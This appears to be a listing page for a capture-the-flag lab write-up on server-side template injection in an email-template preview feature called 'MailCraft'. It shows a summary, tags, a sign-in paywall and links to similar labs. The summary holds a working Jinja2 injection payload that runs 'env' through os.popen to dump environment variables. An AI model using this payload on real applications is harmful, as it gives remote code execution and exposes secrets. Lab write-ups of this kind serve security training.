webPromedium
Lab 237 — MailCraft — SSTI in Email Template Preview
hackadvisor
Task: email marketing platform (MailCraft) with server-side Jinja2 template preview — SSTI in preview endpoint. Solution: inject {{lipsum.__globals__['os'].popen('env').read()}} via POST /api/templates/1/preview to achieve RCE and read FLAG environment variable.
$ ls tags/ techniques/
ssti_jinja2decoy_flag_recognitionrce_via_lipsum_globalstemplate_preview_abuseenv_variable_exfiltration
🔒
Permission denied (requires tier.pro)
Sign in to access full writeups
Sign in with GitHub to continue. No email required.
$sign in$ grep --similar
Similar writeups
- [web][Pro]Lab 225 — MailPulse — SSTI in Campaign Template Preview— hackadvisor
- [web][Pro]Lab 225 — MailPulse — SSTI in Campaign Template Preview— hackadvisor
- [web][Pro]MailPilot — SSTI in Template Preview— hackadvisor
- [web][Pro]Lab 133 — MailForge — SSTI via Handlebars Template Preview— hackadvisor
- [web][Pro]Lab 213 — PingCraft — SSTI via Template Preview Rendering— hackadvisor